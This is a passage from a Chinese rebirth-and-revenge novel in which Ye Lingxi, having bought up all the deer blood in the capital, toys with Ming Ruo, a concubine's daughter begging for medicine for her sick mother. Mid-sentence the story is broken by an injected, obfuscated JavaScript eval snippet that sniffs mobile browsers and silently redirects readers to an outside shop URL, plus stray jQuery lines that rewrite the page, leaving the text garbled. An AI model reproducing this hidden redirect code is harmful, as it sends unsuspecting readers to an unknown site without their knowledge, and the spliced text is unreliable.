回想祖母逝世的消息,是前世叶灵晞有孕之时从明月口中得知的。
这样大的事儿,魏雪鸾和叶宗文有心瞒她,目的也不过是怕胎象不稳的叶灵晞身子受不住。可叶灵晞不仅从明月口里知道了,更是冒着严寒回府。面对祖母已经咽气的身躯,叶灵晞一整个措手不及悲悸成疾,当即就见了红。
本单纯地以为这事儿不过是明月故意漏给她听,气气她罢了。却不曾想,忠远侯府里四小姐明若的母亲郭氏就是因为这样看似不起眼的小事走的。
螳螂捕蝉,黄雀在后。只是这只黄雀的手,伸得却过分地长。
思及此,叶灵晞眸色暗了几分。想起明若那张怯生生的脸,只觉得通体生寒。
当叶灵晞还在为王巧萍的刁难和不喜备受忍让的时候,有的人却已经开始远远布局。此等心机,令人不寒而栗。
这厢禀完魏雪鸾将祖母接回府里的事儿,那厢秋石便跟着递了话。
“姑娘,先前您吩咐鹿血的事儿,钱掌柜已经办妥。因您吩咐得急,钱掌柜传话说等您去查阅再发。”
“马车备好了吗?这就去。”
秋石不无担忧地看了眼天色,“眼下这雨没有个停的意思。您一早便进宫奔波,不如缓缓?”
“缓不得。”叶灵晞侧头看向秋石,秋石素来比忍冬更稳重踏实。
忍冬是魏雪鸾拨过来的,多忙于人情往来院子里的里外琐事,秋石却更近身以及做实事。叶灵晞不喜身边围着的丫鬟婆子过多,因此大丫鬟便一直是忍冬和秋石两个人。
要说忙,多亏了这两个丫鬟,替叶灵晞分担不少。可这样衷心的丫鬟,前世未曾落得好下场,叶灵晞为此愧疚不已。
叶灵晞如今要保的,又岂止是血缘亲属,也有这知己至交。她们是被明誏明面上拿做威胁叶灵晞的,以后没了那桩姻亲,叶灵晞可以规避。那么祖母无辜遇害,却是前世叶灵晞最痛心之事。
缓不得。当然缓不得。
马车徐徐汇入雨帘,三元茶楼的人并不多。叶灵晞却并没有进茶楼,只是绕了一圈直接进了隆兴解典库的后门。
钱兴明显等候多时。他自然知道宫里出了事儿,越是这样的当口叶灵晞吩咐的事儿越是拖不得。
不该问的钱兴从不多问,将人引进库房便道,“大小姐,您直接看货吧?”
“劳烦钱伯了。”
钱兴命左右手将库房里几大箱子全部打开,里面堆积排列着诸多陶罐,打开相看果然是鹿血。
“依您的吩咐,早在去岁腊月就开始陆续收购,将满邺京和周遭九个县,能取用的全部收了来。鹿本至灵,取过一次血需将养好些时日,不可能再被人取第二次。大小姐放心,如今整个邺京能入药的鹿血都在这里了。”
去岁腊月,那是叶灵晞刚重生归来。她盼沈寄和归京不假,可自己的事儿也得未雨绸缪。
“可曾引起别人注意?”
“未曾。小的命人找了蜀地一极大的生药铺子,他们长年大量收购珍稀药材。收鹿血只当是生意,并未引起其他波折。”
“那就好。”叶灵晞点头,“钱伯费心了。”
“只是,您提的那位女子,明家的四小姐,前几日又上赵郎中的门了。那位四小姐苦求鹿血为母治病,赵郎中只说此物稀缺。”
“让她等。”
“是。”
一个小小的侯府庶女敢教唆别人毒杀尚书府的老太太,她就得知道自己能有个什么下场。
前世的仇,今生报。
“将这批鹿血运往北方,得的银钱三分留给您当备用,七分我让秋石来取。”
“谨遵大小姐安排。”钱兴鞠躬道。
叶灵晞查账仔细,做事谨慎,虽用人极严,出手却大方。公私分明,为她做事的好处都在明面上,就是钱兴手下的人也知道背后主子的坦荡大方。
在被官府富贾两相欺诈的世道下,遇着这样的主子不可谓不是一种福报。因此,凡是叶灵晞亲自交待的事,上上下下无有不尽心的。
秋石撑了伞扶叶灵晞出门,马车踢踢踏踏往赵氏生药铺驶去。
“赵郎中,您帮帮我吧!我实在是没有办法了啊!”
“哎呦四小姐,真不是小的不帮您,是这东西眼下确实没有啊。”
叶灵晞踏进生药铺子的门就听到明若的声音。明若未曾料到下着这样大的雨还有人来铺子,猛地一惊,止住了哭声。
见进门小姐衣着打扮明显是世家大族,不由地又羞又臊,直不起头来。视线躲避间,忙将跟前不值几个钱的碎银子一把扫到旁边,生怕被叶灵晞看见她的难堪。
“叶大小姐,这样大的雨您怎么亲自前来?”赵随忙迎了上去。
“刚从宫里出来,顺道来取我家大哥哥的药,赵郎中可备好了?”
“小的本寻思着等雨停了让小厮给送去贵府。没成想倒难为您亲自走这一趟。小的这就去取,叶小姐稍等。”
“劳烦赵郎中。”叶灵晞微微一笑,缓缓落座堂下的圈椅上。
沉静了一瞬,目光极其清澈坦荡地看向明若,“这位似乎是明四小姐?怎的这种天气还亲自出门?”
“见过叶姐姐。”明若上前福身行礼。
“最近我身子骨不大好,甚少出来走动,倒是极少见到四小姐。原以为万花会能碰上呢,没想到只遇着你家大姐姐。”
提起万花会,明若暗暗咬了咬唇。万花会本来她也是能参加的,但明月却气势汹汹地铰了她的衣裳,骂她不要打量那些新科进士的主意。反而是二姐三姐伏低做小的,一起跟明月赴了会。
明若好歹也是忠远侯的四小姐,在明月跟前却连个大丫鬟都不如。训斥打骂,竟是家常便饭。
“叶姐姐和长姐身份尊贵,万花会不是我这等庶女可以轻易参加的。”
“哪儿的话。”叶灵晞轻笑,看着明若巴掌大的小脸儿。
不过十三四岁的年纪,还没有因叶灵晞进了侯府而生出许多不甘心。光看身姿和脸蛋儿,俏生生,脆嫩嫩,清纯动人我见犹怜。可以想见其母郭氏的风姿,不怪王巧萍不给她们母女俩活路。
没有活路久了,她便也想断了别人的活路。
叶灵晞心内冷冷地想着,嘴上却笑说,“长公主贤德,五品以上的官眷都可参加。你父亲贵为侯爷,四小姐还如此自轻自贱,让那些五品以下的官眷可怎么想呢?更何况,我还瞧见你家其他的姐姐妹妹了呢,想来是四妹妹诸事缠身,一时走不开也未可知。”
“叶姐姐素来跟我家誏哥哥有交情,便知侯府里哥哥姐姐众多,我们同父不同命。若儿不敢奢求什么……”明若说着抬起帕子轻轻拭泪。
“妹妹这话是什么意思?好端端地怎么哭了起来?”叶灵晞掩住眼底的凉意,忙起身拉过明若一道落了座。
“姐姐有所不知,我小娘自打去岁腊月便落了病,急需一味鹿血入药。可这满邺京竟然寻不到,妹妹走遍了邺京城也无法……”
“鹿血虽珍贵,可侯爵娘子想要,侯府里还能找不来不成?何苦妹妹雨天往这生药铺里跑?”
“若能跑来倒也无妨。可我几次三番来寻了,都没有。我家主母……”明若又开始抽抽搭搭地哭了起来,“姐姐贵为嫡女,自然不知道我们做庶女的艰难。”
“实不相瞒,我也略有耳闻。”叶灵晞沉吟道。
“姐姐救我!”明若说着忽而跪倒在叶灵晞脚前。
“姐姐贵为尚书大人之女,又有宫里的贵妃为亲姨母,一定有法子帮妹妹寻这药。求姐姐发发慈悲,否则我小娘她……性命不保啊……”
有小娘郭氏在,说不定还能在明慎跟前为明若争一争。可要是连小娘都不在了,明若都不敢想在王巧萍和明月手下自己该怎么活。
“你先起来。”叶灵晞伸手将明若扶起。“鹿血虽珍贵,但未必没有寻到的法子。只是明月素来跟我不大对付,我若帮了你……”
“姐姐放心!此事若儿绝对守口如
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370139|137867||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
瓶,绝对不可能让长姐知道。姐姐若能救我小娘,若儿愿为姐姐为奴为婢当牛做马!”
“瞧你急得,竟说这样的傻话。”叶灵晞那帕子细心地为明若拭泪。“你堂堂四小姐我要你当牛做马地做什么?不过是我自己府里人丁单薄,没些姐姐妹妹的作伴,看见你觉得有个妹妹也是好的。”
两人言语间,赵随提了药从后房里出来。“叶小姐,贵府的药好了。”
见叶灵晞有要走的意思,明若急得上前拉住叶灵晞的手臂。“求姐姐帮帮我!”
叶灵晞面露为难,“不是我不帮你,实在是明月过于泼辣。想来万花会的事儿你也听说了,明月当众让我下我面子也不是一次两次了。我帮了你,还不知道明月日后如何寻我晦气呢。”
见明若落泪不已,叶灵晞又说,“你们虽不是一母同胞,可到底是有血缘,你不如直接求明月,她这个做姐姐哪儿有不管妹妹的道理?”
“姐姐!”
明若再顾及不了礼数,抓住叶灵晞的手臂就道。“姐姐实在不知若儿在侯府里的苦楚,这本是家事妹妹不该如此埋怨,但人命关天,妹妹实在无法啊!”
正因为是一个侯府的亲姐妹,明月防她才跟防贼似的。有时候血缘未必是什么好事。叶灵晞两句话便激起明若的恨意来。
叶灵晞佯装叹息,侧身道,“赵郎中,这鹿血当真如明四小姐所言,竟然这样稀缺?”
“叶小姐有所不知啊!”赵随一样面露难色,“绝非是小的不帮忙!而是这鹿至性至灵,本就极为稀缺。可是这郭娘子的病,又需得鹿血长期入药将养。开始还能拿若干勉力支撑,现下实在是穷途末路了啊。”
“照您这么说,此事竟是难办了?”
“鹿血其珍贵,需大量银钱不说,问题出就出在那不是有银钱就能买到的。更何况……”
更何况,眼前这位明四小姐还没钱。赵随看着明若的脸色,吞下后面半截没说完的话。明若不傻,自然听懂赵随的意思,脸上白一阵红一阵的,份外难堪。
“那除了鹿血,可有别的法子暂缓郭娘子病痛?”
“实在要寻,那只能拿上好的山参暂代。山参虽也珍贵,但好在能寻来。可治标不治本,山参只能暂缓,还得要鹿血。郭娘子伤到了根本,妇人之症,最是难医……”赵随叹息。
妇人之症,最是难医。前世的叶灵晞临死前不是没有怀疑过,可明若装得太好了。叶灵晞一度以为,此事只跟明月有干系。
“姐姐……”明若听到这儿更是急得直哭,不管不顾地再次跪在叶灵晞脚边。“求姐姐开恩,想法子救救我小娘!他日若有机会,我必定报答您的恩情啊姐姐!”
没了鹿血,郭小娘见红日益增多,府里的下人没少排揎。左右都等着郭氏死了好挪地方,否则跟着这样一个病秧子,所有人都得在那不大的院儿里熬死,平白断了出路。郭小娘是明若的亲生母亲,明若的担忧并不作假。
眼前的明若如此悲悸可怜,可前世,她明知此苦痛易落下毛病,日久致死,却依旧借他人之手激着叶灵晞落了病根儿。虽有明誏遍请名医,但叶灵晞却终生不育。从此丁太后更是拿着由头,屡次寻叶灵晞不是。
直到后来的后来,沈寄和带叶灵晞回府。本悉心调养,大有起色。可好端端的某一日,叶灵晞忽然身下如血崩之势。原以为将养得当,谁料是回光返照。
纵然是向来不动如山的沈寄和,也被吓得白了脸色。
无力回天。
当时的沈府,来来去去的太丞都这么说,沈寄和不顾伦理道德君臣尊卑,硬是把尚医局里的所有太丞都扣在沈府。赵随日日看诊,夜夜悬脉,抓方熬药,绞尽脑汁。沈寄和更是亲力亲为,衣不解带,亲奉汤羹。
可赵随到底是凡人,翻遍医术也为之晚矣。终究,叶灵晞还是没命等到叶府平反的结局,便撒手人寰。
追溯前因,竟是眼前人最开始的几句是非便要了叶灵晞的命。
可笑至极!